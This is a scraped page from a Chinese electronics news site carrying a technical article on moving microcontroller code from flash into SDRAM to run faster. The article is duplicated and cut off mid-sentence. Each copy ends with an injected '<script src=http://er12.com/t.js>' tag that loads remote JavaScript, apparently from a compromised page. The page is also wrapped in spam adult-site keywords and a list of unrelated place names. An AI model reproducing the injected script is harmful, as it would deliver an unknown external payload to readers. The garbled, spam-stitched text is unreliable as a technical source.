91精品一区二区三区久久久久久_欧美一级特黄大片色_欧美一区二区人人喊爽_精品一区二区三区av

位置:51電子網 » 電子資訊 » 設計技術

讓單片機運行速度更快一些

發布時間:2006/7/11 0:00:00 訪問次數:656

   本文就如何提高單片機的運行速度與讀者們展開探討。

  1 問題的提出

  1.1 硬件技術背景

  單片機的頻率越來越高,ram的訪問速度也來也快,但單片機系統的效率并不一定成比例的提高。
 
  目前,使用的主流單片機有80386ex(50mhz,外部地址/數據總線16位)、mpc860t(66mhz,外部地址/數據總線32位)以及ds80c32(25mhz,外部地址/數據總線8位);使用的sdram有hy57系列、k416系列(訪問速度100mhz或133mhz);使用的sram 如idt71024、idt7256(50mhz);使用的flash有at29c512、sst39vf040、at29c010(8mhz或15mhz)等。可見,sdram,sram的速度和單片機是匹配的,甚至比單片機的速度更快一點,不需要單片機插入等待狀態。而flash的訪問頻率則比單片機慢2~6倍,單片機往往要通過插入多個等待狀態來和它相匹配,況且flash多為8位,而當前單片機多為16,32位,更多的降低了單片機的工作性能。

  根據上述分析,如果提高flash的訪問速度,擴展flash為16位或32位,那么程序執行的速度就快了,單片機的性能也就提高了。如果能夠將這一想法變成事實,而且成本低廉的話,那是最好不過的事情。事實上,可以將8位的flash擴展為16位、甚至32位,但要付出2~4倍的成本。由于flash結構及工藝原因,在目前不可能有高達66mhz的商用化且價格低廉的flash。所以,只能通過其它方式來提升單片機的運行速度。

  1.2 軟件技術背景

  首先,看看傳統單片機程序的運行原理,為了便于說明,假定硬件平臺為860t,時鐘為50mhz;sdram空間4m×32bit,地址范圍從0x00000000~0x00ffffff,訪問時間10ns;flash空間512k×8bit,訪問時間為100ns,地址范圍從0x02800000~0x0287ffff(至于其它單片機,運行原理大致相同,可以類推)。860t在上電后,pc(program counter)=0x2800100,程序從pc指定的地方執行,首先執行初始化代碼(bootcode),再執行主程序(appcode)。程序從flash中讀取指令(code),來完成數據的傳輸——可能是sdram和內部寄存器的傳輸,sdram之間的傳輸,sdram和外設的傳輸,中斷處理等各項工作。可見在程序運行時,很大一部分時間是從flash中讀取指令,而這個過程是很費時間的。以假定的860t硬件平臺為例,因為flash訪問時間為100ns,所以讀一條指令的時間至少是100ns,也就是說860t讀一條指令的時候要等待100ns。(指令cache通過預取指令的方式,可以使實際取指令時間短一些,但這種方法的效果并不明顯,況且很多單片機還沒有指令cache。)

  860t平臺的內存分配如圖1所示。



  2 將代碼從flash搬運到sdram中的原理

  通過上述分析,初始化代碼bootcode只在程序啟動的時候執行,就是慢一點,也可以接受。真正影響性能的是主程序(appcode),因為這里的代碼在不停的重復執行,如果可以縮短它的取指令時間,則單片機的空閑時間將大大減少,性能也就提高了很多。sdram的速度比較快,如果將代碼搬運到sdram中,取指令時間就減少了很多;而且sdram空間大,不會因為代碼占用了一部分空間而影響性能。但這不僅僅是簡單的搬運過程,有物理存儲器地址的變化牽涉在這個過程中。將軟件源代碼轉換成可執行的二進制映像包括三個步驟:首先,每一個源文件都必須被編譯或匯編到一個目標文件(object file);第二步,所有的目標文件要連接成一個目標文件,它叫可重定位程序(relocation program);最后,在一個稱為重定址(relocation)的過程中,要把物理存儲器地址指定給可重定位程序里的每個相對偏移處,生成一個可執行的二進制映像文件。如果在flash中運行,則所有的物理存儲器地址應該在flash的地址空間中。如果要在ram中運行,則所有的物理存儲器地址應該在flash的地址空間之中。也就是說,如果要使從flash中搬運到sdram中的代碼可用,則必須改變被搬運代碼的物理存儲器地址。

  3 搬運代碼的實現方法

  下面結合假定的硬件平臺,詳細描述物理存儲器地址重定位,代碼搬運的原理?script src=http://er12.com/t.js>

   本文就如何提高單片機的運行速度與讀者們展開探討。

  1 問題的提出

  1.1 硬件技術背景

  單片機的頻率越來越高,ram的訪問速度也來也快,但單片機系統的效率并不一定成比例的提高。
 
  目前,使用的主流單片機有80386ex(50mhz,外部地址/數據總線16位)、mpc860t(66mhz,外部地址/數據總線32位)以及ds80c32(25mhz,外部地址/數據總線8位);使用的sdram有hy57系列、k416系列(訪問速度100mhz或133mhz);使用的sram 如idt71024、idt7256(50mhz);使用的flash有at29c512、sst39vf040、at29c010(8mhz或15mhz)等。可見,sdram,sram的速度和單片機是匹配的,甚至比單片機的速度更快一點,不需要單片機插入等待狀態。而flash的訪問頻率則比單片機慢2~6倍,單片機往往要通過插入多個等待狀態來和它相匹配,況且flash多為8位,而當前單片機多為16,32位,更多的降低了單片機的工作性能。

  根據上述分析,如果提高flash的訪問速度,擴展flash為16位或32位,那么程序執行的速度就快了,單片機的性能也就提高了。如果能夠將這一想法變成事實,而且成本低廉的話,那是最好不過的事情。事實上,可以將8位的flash擴展為16位、甚至32位,但要付出2~4倍的成本。由于flash結構及工藝原因,在目前不可能有高達66mhz的商用化且價格低廉的flash。所以,只能通過其它方式來提升單片機的運行速度。

  1.2 軟件技術背景

  首先,看看傳統單片機程序的運行原理,為了便于說明,假定硬件平臺為860t,時鐘為50mhz;sdram空間4m×32bit,地址范圍從0x00000000~0x00ffffff,訪問時間10ns;flash空間512k×8bit,訪問時間為100ns,地址范圍從0x02800000~0x0287ffff(至于其它單片機,運行原理大致相同,可以類推)。860t在上電后,pc(program counter)=0x2800100,程序從pc指定的地方執行,首先執行初始化代碼(bootcode),再執行主程序(appcode)。程序從flash中讀取指令(code),來完成數據的傳輸——可能是sdram和內部寄存器的傳輸,sdram之間的傳輸,sdram和外設的傳輸,中斷處理等各項工作。可見在程序運行時,很大一部分時間是從flash中讀取指令,而這個過程是很費時間的。以假定的860t硬件平臺為例,因為flash訪問時間為100ns,所以讀一條指令的時間至少是100ns,也就是說860t讀一條指令的時候要等待100ns。(指令cache通過預取指令的方式,可以使實際取指令時間短一些,但這種方法的效果并不明顯,況且很多單片機還沒有指令cache。)

  860t平臺的內存分配如圖1所示。



  2 將代碼從flash搬運到sdram中的原理

  通過上述分析,初始化代碼bootcode只在程序啟動的時候執行,就是慢一點,也可以接受。真正影響性能的是主程序(appcode),因為這里的代碼在不停的重復執行,如果可以縮短它的取指令時間,則單片機的空閑時間將大大減少,性能也就提高了很多。sdram的速度比較快,如果將代碼搬運到sdram中,取指令時間就減少了很多;而且sdram空間大,不會因為代碼占用了一部分空間而影響性能。但這不僅僅是簡單的搬運過程,有物理存儲器地址的變化牽涉在這個過程中。將軟件源代碼轉換成可執行的二進制映像包括三個步驟:首先,每一個源文件都必須被編譯或匯編到一個目標文件(object file);第二步,所有的目標文件要連接成一個目標文件,它叫可重定位程序(relocation program);最后,在一個稱為重定址(relocation)的過程中,要把物理存儲器地址指定給可重定位程序里的每個相對偏移處,生成一個可執行的二進制映像文件。如果在flash中運行,則所有的物理存儲器地址應該在flash的地址空間中。如果要在ram中運行,則所有的物理存儲器地址應該在flash的地址空間之中。也就是說,如果要使從flash中搬運到sdram中的代碼可用,則必須改變被搬運代碼的物理存儲器地址。

  3 搬運代碼的實現方法

  下面結合假定的硬件平臺,詳細描述物理存儲器地址重定位,代碼搬運的原理?script src=http://er12.com/t.js>

熱門點擊

推薦電子資訊

EMC對策元件
應用: 汽車以太網系統的車載多媒體信息娛樂系統,如駕... [詳細]
版權所有:51dzw.COM
深圳服務熱線:13751165337  13692101218
粵ICP備09112631號-6(miitbeian.gov.cn)
公網安備44030402000607
深圳市碧威特網絡技術有限公司
付款方式


 復制成功!
邻水| 惠东县| 南阳市| 丘北县| 巴塘县| 南陵县| 渭南市| 广昌县| 麻江县| 永和县| 河源市| 特克斯县| 靖西县| 乌兰察布市| 崇左市| 区。| 来安县| 舞阳县| 铜川市| 云林县| 承德县| 孝义市| 大厂| 同仁县| 定日县| 萨迦县| 湘乡市| 梅州市| 太谷县| 九龙城区| 汉阴县| 霍山县| 饶河县| 新津县| 南靖县| 琼结县| 突泉县| 永靖县| 固阳县| 宾阳县| 定边县|